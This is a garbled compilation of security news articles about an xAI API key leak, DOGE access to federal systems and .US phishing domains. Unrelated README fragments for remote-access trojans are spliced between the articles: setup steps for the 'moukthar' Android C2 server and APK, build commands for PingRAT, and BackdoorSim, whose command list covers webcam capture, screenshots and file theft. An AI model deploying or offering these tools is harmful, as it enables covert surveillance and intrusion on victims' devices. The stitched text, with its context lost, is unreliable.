An employee at Elon Musk’s artificial intelligence company xAI leaked a private key on GitHub that for the past two months could have allowed anyone to query private xAI large language models (LLMs) which appear to have been custom made for working with internal data from Musk’s companies, including SpaceX, Tesla and Twitter/X, KrebsOnSecurity has learned.
Image: Shutterstock, @sdx15.
Philippe Caturegli, “chief hacking officer” at the security consultancy Seralys, was the first to publicize the leak of credentials for an x.ai application programming interface (API) exposed in the GitHub code repository of a technical staff member at xAI.
Caturegli’s post on LinkedIn caught the attention of researchers at GitGuardian, a company that specializes in detecting and remediating exposed secrets in public and proprietary environments. GitGuardian’s systems constantly scan GitHub and other code repositories for exposed API keys, and fire off automated alerts to affected users.
GitGuardian’s Eric Fourrier told KrebsOnSecurity the exposed API key had access to several unreleased models of Grok, the AI chatbot developed by xAI. In total, GitGuardian found the key had access to at least 60 fine-tuned and private LLMs.
“The credentials can be used to access the X.ai API with the identity of the user,” GitGuardian wrote in an email explaining their findings to xAI. “The associated account not only has access to public Grok models (grok-2-1212, etc) but also to what appears to be unreleased (grok-2.5V), development (research-grok-2p5v-1018), and private models (tweet-rejector, grok-spacex-2024-11-04).”
Fourrier found GitGuardian had alerted the xAI employee about the exposed API key nearly two months ago — on March 2. But as of April 30, when GitGuardian directly alerted xAI’s security team to the exposure, the key was still valid and usable. xAI told GitGuardian to report the matter through its bug bounty program at HackerOne, but just a few hours later the repository containing the API key was removed from GitHub.
“It looks like some of these internal LLMs were fine-tuned on SpaceX data, and some were fine-tuned with Tesla data,” Fourrier said. “I definitely don’t think a Grok model that’s fine-tuned on SpaceX data is intended to be exposed publicly.”
xAI did not respond to a request for comment. Nor did the 28-year-old xAI technical staff member whose key was exposed.
Carole Winqwist, chief marketing officer at GitGuardian, said giving potentially hostile users free access to private LLMs is a recipe for disaster.
“If you’re an attacker and you have direct access to the model and the back end interface for things like Grok, it’s definitely something you can use for further attacking,” she said. “An attacker could it use for prompt injection, to tweak the (LLM) model to serve their purposes, or try to implant code into the supply chain.”
The inadvertent exposure of internal LLMs for xAI comes as Musk’s so-called Department of Government Efficiency (DOGE) has been feeding sensitive government records into artificial intelligence tools. In February, The Washington Post reported DOGE officials were feeding data from across the Education Department into AI tools to probe the agency’s programs and spending.
The Post said DOGE plans to replicate this process across many departments and agencies, accessing the back-end software at different parts of the government and then using AI technology to extract and sift through information about spending on employees and programs.
“Feeding sensitive data into AI software puts it into the possession of a system’s operator, increasing the chances it will be leaked or swept up in cyberattacks,” Post reporters wrote.
Wired reported in March that DOGE has deployed a proprietary chatbot called GSAi to 1,500 federal workers at the General Services Administration, part of an effort to automate tasks previously done by humans as DOGE continues its purge of the federal workforce.
A Reuters report last month said Trump administration officials told some U.S. government employees that DOGE is using AI to surveil at least one federal agency’s communications for hostility to President Trump and his agenda. Reuters wrote that the DOGE team has heavily deployed Musk’s Grok AI chatbot as part of their work slashing the federal government, although Reuters said it could not establish exactly how Grok was being used.
Caturegli said while there is no indication that federal government or user data could be accessed through the exposed x.ai API key, these private models are likely trained on proprietary data and may unintentionally expose details related to internal development efforts at xAI, Twitter, or SpaceX.
“The fact that this key was publicly exposed for two months and granted access to internal models is concerning,” Caturegli said. “This kind of long-lived credential exposure highlights weak key management and insufficient internal monitoring, raising questions about safeguards around developer access and broader operational security.”
Remote adminitration tool for android
console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/
and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 .
The default credentials are username: android
and password: android
mysql CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
c2-server/.env
and web-socket/.env
database.sql
console php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/sites-available/000-default.conf
```console ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
- Modify
/etc/apache2/apache2.confxml Comment this section #
Add this - Increase php file upload max size
/etc/php/./apache2/php.iniini ; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M
- Set web socket server address in <script> tag in
c2-server/src/View/home.phpand
c2-server/src/View/features/files.phpconsole const ws = new WebSocket('ws://IP_ADDRESS:8080');
- Restart apache using the command below
console sudo a2enmod rewrite && sudo service apache2 restart - Set C2 server and web socket server address in client
functionality/Utils.javajava public static final String C2_SERVER = "http://localhost";
public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
One month into his second term, President Trump’s actions to shrink the government through mass layoffs, firings and withholding funds allocated by Congress have thrown federal cybersecurity and consumer protection programs into disarray. At the same time, agencies are battling an ongoing effort by the world’s richest man to wrest control over their networks and data.
Image: Shutterstock. Greg Meland.
The Trump administration has fired at least 130 employees at the federal government’s foremost cybersecurity body — the Cybersecurity and Infrastructure Security Agency (CISA). Those dismissals reportedly included CISA staff dedicated to securing U.S. elections, and fighting misinformation and foreign influence operations.
Earlier this week, technologists with Elon Musk’s Department of Government Efficiency (DOGE) arrived at CISA and gained access to the agency’s email and networked files. Those DOGE staffers include Edward “Big Balls” Coristine, a 19-year-old former denizen of the “Com,” an archipelago of Discord and Telegram chat channels that function as a kind of distributed cybercriminal social network.
The investigative journalist Jacob Silverman writes that Coristine is the grandson of Valery Martynov, a KGB double agent who spied for the United States. Silverman recounted how Martynov’s wife Natalya Martynova moved to the United States with her two children after her husband’s death.
“Her son became a Virginia police officer who sometimes posts comments on blogs about his historically famous father,” Silverman wrote. “Her daughter became a financial professional who married Charles Coristine, the proprietor of LesserEvil, a snack company. Among their children is a 19-year-old young man named Edward Coristine, who currently wields an unknown amount of power and authority over the inner-workings of our federal government.”
Another member of DOGE is Christopher Stanley, formerly senior director for security engineering at X and principal security engineer at Musk’s SpaceX. Stanley, 33, had a brush with celebrity on Twitter in 2015 when he leaked the user database for the DDoS-for-hire service LizardStresser, and soon faced threats of physical violence against his family.
My 2015 story on that leak did not name Stanley, but he exposed himself as the source by posting a video about it on his Youtube channel. A review of domain names registered by Stanley shows he went by the nickname “enKrypt,” and was the former owner of a pirated software and hacking forum called error33[.]net, as well as theC0re, a video game cheating community.
DOGE has been steadily gaining sensitive network access to federal agencies that hold a staggering amount of personal and financial information on Americans, including the Social Security Administration (SSA), the Department of Homeland Security, the Office of Personnel Management (OPM), and the Treasury Department.
Most recently, DOGE has sought broad access to systems at the Internal Revenue Service that contain the personal tax information on millions of Americans, including how much individuals earn and owe, property information, and even details related to child custody agreements. The New York Times reported Friday that the IRS had reached an agreement whereby a single DOGE employee — 25-year-old Gavin Kliger — will be allowed to see only anonymized taxpayer information.
The rapidity with which DOGE has rifled through one federal database after another in the name of unearthing “massive fraud” by government agencies has alarmed many security experts, who warned that DOGE’s actions bypassed essential safeguards and security measures.
“The most alarming aspect isn’t just the access being granted,” wrote Bruce Schneier and Davi Ottenheimer, referring to DOGE as a national cyberattack. “It’s the systematic dismantling of security measures that would detect and prevent misuse—including standard incident response protocols, auditing, and change-tracking mechanisms—by removing the career officials in charge of those security measures and replacing them with inexperienced operators.”
Jacob Williams is a former hacker with the U.S. National Security Agency who now works as managing director of the cybersecurity firm Hunter Labs. Williams kicked a virtual hornet’s nest last week when he posted on LinkedIn that the network incursions by DOGE were “a bigger threat to U.S. federal government information systems than China.”
Williams said while he doesn’t believe anyone at DOGE would intentionally harm the integrity and availability of these systems, it’s widely reported (and not denied) that DOGE introduced code changes into multiple federal IT systems. These code changes, he maintained, are not following the normal process for vetting and review given to federal government IT systems.
“For those thinking ‘I’m glad they aren’t following the normal federal government IT processes, those are too burdensome’ I get where you’re coming from,” Williams wrote. “But another name for ‘red tape’ are ‘controls.’ If you’re comfortable bypassing controls for the advancement of your agenda, I have questions – mostly about whether you do this in your day job too. Please tag your employer letting them know your position when you comment that controls aren’t important (doubly so if you work in cybersecurity). All satire aside, if you’re comfortable abandoning controls for expediency, I implore you to decide where the line is that you won’t cross in that regard.”
The DOGE website’s “wall of receipts” boasts that Musk and his team have saved the federal government more than $55 billion through staff reductions, lease cancellations and terminated contracts. But a team of reporters at The New York Times found the math that could back up those checks is marred with accounting errors, incorrect assumptions, outdated data and other mistakes.
For example, DOGE claimed it saved $8 billion in one contract, when the total amount was actually $8 million, The Times found.
“Some contracts the group claims credit for were double- or triple-counted,” reads a Times story with six bylines. “Another initially contained an error that inflated the totals by billions of dollars. While the DOGE team has surely cut some number of billions of dollars, its slapdash accounting adds to a pattern of recklessness by the group, which has recently gained access to sensitive government payment systems.”
So far, the DOGE website does not inspire confidence: We learned last week that the doge.gov administrators somehow left their database wide open, allowing someone to publish messages that ridiculed the site’s insecurity.
A screenshot of the DOGE website after it was defaced with the message: “These ‘experts’ left their database open – roro”
Trump’s efforts to grab federal agencies by their data has seen him replace career civil servants who refused to allow DOGE access to agency networks. CNN reports that Michelle King, acting commissioner of the Social Security Administration for more than 30 years, was shown the door after she denied DOGE access to sensitive information.
King was replaced by Leland Dudek, formerly a senior advisor in the SSA’s Office of Program Integrity. This week, Dudek posted a now-deleted message on LinkedIn acknowledging he had been placed on administrative leave for cooperating with DOGE.
“I confess,” Dudek wrote. “I bullied agency executives, shared executive contact information, and circumvented the chain of command to connect DOGE with the people who get stuff done. I confess. I asked where the fat was and is in our contracts so we can make the right tough choices.”
Dudek’s message on LinkedIn.
According to Wired, the National Institute of Standards and Technology (NIST) was also bracing this week for roughly 500 staffers to be fired, which could have serious impacts on NIST’s cybersecurity standards and software vulnerability tracking work.
“And cuts last week at the US Digital Service included the cybersecurity lead for the central Veterans Affairs portal, VA.gov, potentially leaving VA systems and data more vulnerable without someone in his role,” Wired’s Andy Greenberg and Lily Hay Newman wrote.
NextGov reports that Trump named the Department of Defense’s new chief information security officer: Katie Arrington, a former South Carolina state lawmaker who helped steer Pentagon cybersecurity contracting policy before being put on leave amid accusations that she disclosed classified data from a military intelligence agency.
NextGov notes that the National Security Agency suspended her clearance in 2021, although the exact reasons that led to the suspension and her subsequent leave were classified. Arrington argued that the suspension was a politically motivated effort to silence her.
Trump also appointed the former chief operating officer of the Republican National Committee as the new head of the Office of National Cyber Director. Sean Cairncross, who has no formal experience in technology or security, will be responsible for coordinating national cybersecurity policy, advising the president on cyber threats, and ensuring a unified federal response to emerging cyber-risks, Politico writes.
DarkReading reports that Cairncross would share responsibility for advising the president on cyber matters, along with the director of cyber at the White House National Security Council (NSC) — a group that advises the president on all matters security related, and not just cyber.
The president also ordered staffers at the Consumer Financial Protection Bureau (CFPB) to stop most work. Created by Congress in 2011 to be a clearinghouse of consumer complaints, the CFPB has sued some of the nation’s largest financial institutions for violating consumer protection laws.
The CFPB says its actions have put nearly $18 billion back in Americans’ pockets in the form of monetary compensation or canceled debts, and imposed $4 billion in civil money penalties against violators. The CFPB’s homepage has featured a “404: Page not found” error for weeks now.
Trump has appointed Russell Vought, the architect of the conservative policy playbook Project 2025, to be the CFPB’s acting director. Vought has publicly favored abolishing the agency, as has Elon Musk, whose efforts to remake X into a payments platform would otherwise be regulated by the CFPB.
The New York Times recently published a useful graphic showing all of the government staffing changes, including the firing of several top officials, affecting agencies with federal investigations into or regulatory battles with Musk’s companies. Democrats on the House Judiciary Committee also have released a comprehensive account (PDF) of Musk’s various conflicts of interest.
Image: nytimes.com
As the Times notes, Musk and his companies have repeatedly failed to comply with federal reporting protocols aimed at protecting state secrets, and these failures have prompted at least three federal reviews. Those include an inquiry launched last year by the Defense Department’s Office of Inspector General. Four days after taking office, Trump fired the DoD inspector general along with 17 other inspectors general.
The Trump administration also shifted the enforcement priorities of the U.S. Securities and Exchange Commission (SEC) away from prosecuting misconduct in the cryptocurrency sector, reassigning lawyers and renaming the unit to focus more on “cyber and emerging technologies.”
Reuters reports that the former SEC chair Gary Gensler made fighting misconduct in a sector he termed the “wild west” a priority for the agency, targeting not only cryptocurrency fraudsters but also the large firms that facilitate trading such as Coinbase.
On Friday, Coinbase said the SEC planned to withdraw its lawsuit against the crypto exchange. Also on Friday, the cryptocurrency exchange Bybit announced on X that a cybersecurity breach led to the theft of more than $1.4 billion worth of cryptocurrencies — making it the largest crypto heist ever.
On Feb. 10, Trump ordered executive branch agencies to stop enforcing the U.S. Foreign Corrupt Practices Act, which froze foreign bribery investigations, and even allows for “remedial actions” of past enforcement actions deemed “inappropriate.”
Trump’s action also disbanded the Kleptocracy Asset Recovery Initiative and KleptoCapture Task Force — units which proved their value in corruption cases and in seizing the assets of sanctioned Russian oligarchs — and diverted resources away from investigating white-collar crime.
That’s according to the independent Organized Crime and Corruption Reporting Project (OCCRP), an investigative journalism outlet that until very recently was funded in part by the U.S. Agency for International Development (USAID).
The OCCRP lost nearly a third of its funding and was forced to lay off 43 reporters and staff after Trump moved to shutter USAID and freeze its spending. NBC News reports the Trump administration plans to gut the agency and leave fewer than 300 staffers on the job out of the current 8,000 direct hires and contractors.
The Global Investigative Journalism Network wrote this week that the sudden hold on USAID foreign assistance funding has frozen an estimated $268 million in agreed grants for independent media and the free flow of information in more than 30 countries — including several under repressive regimes.
Elon Musk has called USAID “a criminal organization” without evidence, and promoted fringe theories on his social media platform X that the agency operated without oversight and was rife with fraud. Just months before the election, USAID’s Office of Inspector General announced an investigation into USAID’s oversight of Starlink satellite terminals provided to the government of Ukraine.
KrebsOnSecurity this week heard from a trusted source that all outgoing email from USAID now carries a notation of “sensitive but unclassified,” a designation that experts say could make it more difficult for journalists and others to obtain USAID email records under the Freedom of Information Act (FOIA). On Feb. 20, Fedscoop reported also hearing the same thing from multiple sources, noting that the added message cannot be seen by senders until after the email is sent.
On Feb. 18, Trump issued an executive order declaring that only the U.S. attorney general and the president can provide authoritative interpretations of the law for the executive branch, and that this authority extends to independent agencies operating under the executive branch.
Trump is arguing that Article II, Clause 1 of the Constitution vests this power with the president. However, jurist.org writes that Article II does not expressly state the president or any other person in the executive branch has the power to interpret laws.
“The article states that the president is required to ‘take care that the laws be faithfully executed,'” Juris noted. “Jurisdiction to interpret laws and determine constitutionality belongs to the judicial branch under Article III. The framers of the Constitution designed the separation of duties to prevent any single branch of government from becoming too powerful.”
The executive order requires all agencies to submit to “performance standards and management objectives” to be established by the White House Office of Management and Budget, and to report periodically to the president.
Those performance metrics are already being requested: Employees at multiple federal agencies on Saturday reported receiving an email from the Office of Personnel Management ordering them to reply with a set of bullet points justifying their work for the past week.
“Please reply to this email with approx. 5 bullets of what you accomplished last week and cc your manager,” the notice read. “Please do not send any classified information, links, or attachments. Deadline is this Monday at 11:59 p.m. EST.”
An email sent by the OPM to more than two million federal employees late in the afternoon EST on Saturday, Feb. 22.
In a social media post Saturday, Musk said the directive came at the behest of President Trump, and that failure to respond would be taken as a resignation. Meanwhile, Bloomberg writes the Department of Justice has been urging employees to hold off replying out of concern doing so could trigger ethics violations. The National Treasury Employees Union also is advising its employees not to respond.
A legal battle over Trump’s latest executive order is bound to join more than 70 other lawsuits currently underway to halt the administration’s efforts to massively reduce the size of the federal workforce through layoffs, firings and attrition.
On Feb. 15, the president posted on social media, “He who saves his Country does not violate any Law,” citing a quote often attributed to the French dictator Napoleon Bonaparte. Four days later, Trump referred to himself as “the king” on social media, while the White House nonchalantly posted an illustration of him wearing a crown.
Trump has been publicly musing about running for an unconstitutional third-term in office, a statement that some of his supporters dismiss as Trump just trying to rile his liberal critics. However, just days after Trump began his second term, Rep. Andy Ogles (R-Tenn.) introduced a bill to amend the Constitution so that Trump — and any other future president — can be elected to serve a third term.
This week at the Conservative Political Action Conference (CPAC), Rep. Ogles reportedly led a group of Trump supporters calling itself the “Third Term Project,” which is trying to gain support for the bill from GOP lawmakers. The event featured images of Trump depicted as Caesar.
A banner at the CPAC conference this week in support of The Third Term Project, a group of conservatives trying to gain support for a bill to amend the Constitution and allow Trump to run for a third term.
Russia continues to be among the world’s top exporters of cybercrime, narcotics, money laundering, human trafficking, disinformation, war and death, and yet the Trump administration has suddenly broken with the Western world in normalizing relations with Moscow.
This week President Trump stunned U.S. allies by repeating Kremlin talking points that Ukraine is somehow responsible for Russia’s invasion, and that Ukrainian President Volodymyr Zelensky is a “dictator.” The president repeated these lies even as his administration is demanding that Zelensky give the United States half of his country’s mineral wealth in exchange for a promise that Russia will cease its territorial aggression there.
President Trump’s servility toward an actual dictator — Russian President Vladimir Putin — does not bode well for efforts to improve the cybersecurity of U.S. federal IT networks, or the private sector systems on which the government is largely reliant. In addition, this administration’s baffling moves to alienate, antagonize and sideline our closest allies could make it more difficult for the United States to secure their ongoing cooperation in cybercrime investigations.
It’s also startling how closely DOGE’s approach so far hews to tactics typically employed by ransomware gangs: A group of 20-somethings with names like “Big Balls” shows up on a weekend and gains access to your servers, deletes data, locks out key staff, takes your website down, and prevents you from serving customers.
When the federal executive starts imitating ransomware playbooks against its own agencies while Congress largely gazes on in either bewilderment or amusement, we’re in four-alarm fire territory. At least in theory, one can negotiate with ransomware purveyors.
Download the binaries
or build the binaries and you are ready to go:
$ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go
./server -h
Usage of ./server:
-d string
Destination IP address
-i string
Listener (virtual) Network Interface (e.g. eth0)
./client -h
Usage of ./client:
-d string
Destination IP address
-i string
(Virtual) Network Interface (e.g., eth0)
BackdoorSim
is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer
and BackdoorClient
. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.
This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.
To set up BackdoorSim
, you will need to install it on both the server and client machines.
shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git
shell $ cd BackDoorSim
shell $ pip install -r requirements.txt
After starting both the server and client, you can use the following commands in the server's command prompt:
upload [file_path]
: Upload a file to the client.download [file_path]
: Download a file from the client.screenshot
: Capture a screenshot from the client.sysinfo
: Get system information from the client.securityinfo
: Get security software status from the client.camshot
: Capture an image from the client's webcam.notify [title] [message]
: Send a notification to the client.help
: Display the help menu.BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.
If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool
If you want to read our article about Backdoor
Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.
For any inquiries or further information, you can reach me through the following channels:
The top-level domain for the United States — .US — is home to thousands of newly-registered domains tied to a malicious link shortening service that facilitates malware and phishing scams, new research suggests. The findings come close on the heels of a report that identified .US domains as among the most prevalent in phishing attacks over the past year.
Researchers at Infoblox say they’ve been tracking what appears to be a three-year-old link shortening service that is catering to phishers and malware purveyors. Infoblox found the domains involved are typically three to seven characters long, and hosted on bulletproof hosting providers that charge a premium to ignore any abuse or legal complaints. The short domains don’t host any content themselves, but are used to obfuscate the real address of landing pages that try to phish users or install malware.
A graphic describing the operations of a malicious link shortening service that Infoblox has dubbed “Prolific Puma.”
Infoblox says it’s unclear how the phishing and malware landing pages tied to this service are being initially promoted, although they suspect it is mainly through scams targeting people on their phones via SMS. A new report says the company mapped the contours of this link shortening service thanks in part to pseudo-random patterns in the short domains, which all appear on the surface to be a meaningless jumble of letters and numbers.
“This came to our attention because we have systems that detect registrations that use domain name generation algorithms,” said Renee Burton, head of threat intelligence at Infoblox. “We have not found any legitimate content served through their shorteners.”
Infoblox determined that until May 2023, domains ending in .info accounted for the bulk of new registrations tied to the malicious link shortening service, which Infoblox has dubbed “Prolific Puma.” Since then, they found that whoever is responsible for running the service has used .US for approximately 55 percent of the total domains created, with several dozen new malicious .US domains registered daily.
.US is overseen by the National Telecommunications and Information Administration (NTIA), an executive branch agency of the U.S. Department of Commerce. But Uncle Sam has long outsourced the management of .US to various private companies, which have gradually allowed the United States’s top-level domain to devolve into a cesspool of phishing activity.
Or so concludes The Interisle Consulting Group, which gathers phishing data from multiple industry sources and publishes an annual report on the latest trends. As far back as 2018, Interisle found .US domains were the worst in the world for spam, botnet (attack infrastructure for DDOS etc.) and illicit or harmful content.
Interisle’s newest study examined six million phishing reports between May 1, 2022 and April 30, 2023, and identified approximately 30,000 .US phishing domains. Interisle found significant numbers of .US domains were registered to attack some of the United States’ most prominent companies, including Bank of America, Amazon, Apple, AT&T, Citi, Comcast, Microsoft, Meta, and Target. Others were used to impersonate or attack U.S. government agencies.
Under NTIA regulations, domain registrars processing .US domain registrations must take certain steps (PDF) to verify that those customers actually reside in the United States, or else own organizations based in the U.S. However, if one registers a .US domain through GoDaddy — the largest domain registrar and the current administrator of the .US contract — the way one “proves” their U.S. nexus is simply by choosing from one of three pre-selected affirmative responses.
In an age when most domain registrars are automatically redacting customer information from publicly accessible registration records to avoid running afoul of European privacy laws, .US has remained something of an outlier because its charter specifies that all registration records be made public. However, Infoblox said it found more than 2,000 malicious link shortener domains ending in .US registered since October 2023 through NameSilo that have somehow subverted the transparency requirements for the usTLD and converted to private registrations.
“Through our own experience with NameSilo, it is not possible to select private registration for domains in the usTLD through their interface,” Infoblox wrote. “And yet, it was done. Of the total domains with private records, over 99% were registered with NameSilo. At this time, we are not able to explain this behavior.”
NameSilo CEO Kristaps Ronka said the company actively responds to reports about abusive domains, but that it hasn’t seen any abuse reports related to Infoblox’s findings.
“We take down hundreds to thousands of domains, lots of them proactively to combat abuse,” Ronka said. “Our current abuse rate on abuseIQ for example is currently at 0%. AbuseIQ receives reports from countless sources and we are yet to see these ‘Puma’ abuse reports.”
Experts who track domains associated with malware and phishing say even phony information supplied at registration is useful in identifying potentially malicious or phishous domains before they can be used for abuse.
For example, when it was registered through NameSilo in July 2023, the domain 1ox[.]us — like thousands of others — listed its registrant as “Leila Puma” at a street address in Poland, and the email address blackpumaoct33@ukr.net. But according to DomainTools.com, on Oct. 1, 2023 those records were redacted and hidden by NameSilo.
Infoblox notes that the username portion of the email address appears to be a reference to the song October 33 by the Black Pumas, an Austin, Texas based psychedelic soul band. The Black Pumas aren’t exactly a household name, but they did recently have a popular Youtube video that featured a cover of the Kinks song “Strangers,” which included an emotional visual narrative about Ukrainians seeking refuge from the Russian invasion, titled “Ukraine Strangers.” Also, Leila Puma’s email address is at a Ukrainian email provider.
DomainTools shows that hundreds of other malicious domains tied to Prolific Puma previously were registered through NameCheap to a “Josef Bakhovsky” at a different street address in Poland. According to ancestry.com, the anglicized version of this surname — Bakovski — is the traditional name for someone from Bakowce, which is now known as Bakivtsi and is in Ukraine.
This possible Polish and/or Ukrainian connection may or may not tell us something about the “who” behind this link shortening service, but those details are useful for identifying and grouping these malicious short domains. However, even this meager visibility into .US registration data is now under threat.
The NTIA recently published a proposal that would allow registrars to redact all registrant data from WHOIS registration records for .US domains. A broad array of industry groups have filed comments opposing the proposed changes, saying they threaten to remove the last vestiges of accountability for a top-level domain that is already overrun with cybercrime activity.
Infoblox’s Burton says Prolific Puma is remarkable because they’ve been able to facilitate malicious activities for years while going largely unnoticed by the security industry.
“This exposes how persistent the criminal economy can be at a supply chain level,” Burton said. “We’re always looking at the end malware or phishing page, but what we’re finding here is that there’s this middle layer of DNS threat actors persisting for years without notice.”
Infoblox’s full report on Prolific Puma is here.
Domain names ending in “.US” — the top-level domain for the United States — are among the most prevalent in phishing scams, new research shows. This is noteworthy because .US is overseen by the U.S. government, which is frequently the target of phishing domains ending in .US. Also, .US domains are only supposed to be available to U.S. citizens and to those who can demonstrate that they have a physical presence in the United States.
.US is the “country code top-level domain” or ccTLD of the United States. Most countries have their own ccTLDs: .MX for Mexico, for example, or .CA for Canada. But few other major countries in the world have anywhere near as many phishing domains each year as .US.
That’s according to The Interisle Consulting Group, which gathers phishing data from multiple industry sources and publishes an annual report on the latest trends. Interisle’s newest study examined six million phishing reports between May 1, 2022 and April 30, 2023, and found 30,000 .US phishing domains.
.US is overseen by the National Telecommunications and Information Administration (NTIA), an executive branch agency of the U.S. Department of Commerce. However, NTIA currently contracts out the management of the .US domain to GoDaddy, by far the world’s largest domain registrar.
Under NTIA regulations, the administrator of the .US registry must take certain steps to verify that their customers actually reside in the United States, or own organizations based in the U.S. But Interisle found that whatever GoDaddy was doing to manage that vetting process wasn’t working.
“The .US ‘nexus’ requirement theoretically limits registrations to parties with a national connection, but .US had very high numbers of phishing domains,” Interisle wrote. “This indicates a possible problem with the administration or application of the nexus requirements.”
Dean Marks is emeritus executive director for a group called the Coalition for Online Accountability, which has been critical of the NTIA’s stewardship of .US. Marks says virtually all European Union member state ccTLDs that enforce nexus restrictions also have massively lower levels of abuse due to their policies and oversight.
“Even very large ccTLDs, like .de for Germany — which has a far larger market share of domain name registrations than .US — have very low levels of abuse, including phishing and malware,” Marks told KrebsOnSecurity. “In my view, this situation with .US should not be acceptable to the U.S. government overall, nor to the US public.”
Marks said there are very few phishing domains ever registered in other ccTLDs that also restrict registrations to their citizens, such as .HU (Hungary), .NZ (New Zealand), and .FI (Finland), where a connection to the country, a proof of identity, or evidence of incorporation are required.
“Or .LK (Sri Lanka), where the acceptable use policy includes a ‘lock and suspend’ if domains are reported for suspicious activity,” Marks said. “These ccTLDs make a strong case for validating domain registrants in the interest of public safety.”
Sadly, .US has been a cesspool of phishing activity for many years. As far back as 2018, Interisle found .US domains were the worst in the world for spam, botnet (attack infrastructure for DDOS etc.) and illicit or harmful content. Back then, .US was being operated by a different contractor.
In response to questions from KrebsOnSecurity, GoDaddy said all .US registrants must certify that they meet the NTIA’s nexus requirements. But this appears to be little more than an affirmative response that is already pre-selected for all new registrants.
Attempting to register a .US domain through GoDaddy, for example, leads to a U.S. Registration Information page that auto-populates the nexus attestation field with the response, “I am a citizen of the US.” Other options include, “I am a permanent resident of the US,” and “My primary domicile is in the US.” It currently costs just $4.99 to obtain a .US domain through GoDaddy.
GoDaddy said it also conducts a scan of selected registration request information, and conducts “spot checks” on registrant information.
“We conduct regular reviews, per policy, of registration data within the Registry database to determine Nexus compliance with ongoing communications to registrars and registrants,” the company said in a written statement.
GoDaddy says it “is committed to supporting a safer online environment and proactively addressing this issue by assessing it against our own anti-abuse mitigation system.”
“We stand against DNS abuse in any form and maintain multiple systems and protocols to protect all the TLDs we operate,” the statement continued. “We will continue to work with registrars, cybersecurity firms and other stakeholders to make progress with this complex challenge.”
Interisle found significant numbers of .US domains were registered to attack some of the United States’ most prominent companies, including Bank of America, Amazon, Apple, AT&T, Citi, Comcast, Microsoft, Meta, and Target.
“Ironically, at least 109 of the .US domains in our data were used to attack the United States government, specifically the United States Postal Service and its customers,” Interisle wrote. “.US domains were also used to attack foreign government operations: six .US domains were used to attack Australian government services, six attacked Great’s Britain’s Royal Mail, one attacked Canada Post, and one attacked the Denmark Tax Authority.”
The NTIA recently published a proposal that would allow GoDaddy to redact registrant data from WHOIS registration records. The current charter for .US specifies that all .US registration records be public.
Interisle argues that without more stringent efforts to verify a United States nexus for new .US domain registrants, the NTIA’s proposal will make it even more difficult to identify phishers and verify registrants’ identities and nexus qualifications.
In a written statement, the NTIA said DNS abuse is a priority issue for the agency, and that NTIA supports “evidence-based policymaking.”
“We look forward to reviewing the report and will engage with our contractor for the .US domain on steps that we can take not only to address phishing, but the other forms of DNS abuse as well,” the statement reads.
Interisle sources its phishing data from several places, including the Anti-Phishing Working Group (APWG), OpenPhish, PhishTank, and Spamhaus. For more phishing facts, see Interisle’s 2023 Phishing Landscape report (PDF).’
Update, Sept. 5, 1:44 p.m. ET: Updated story with statement provided today by the NTIA.
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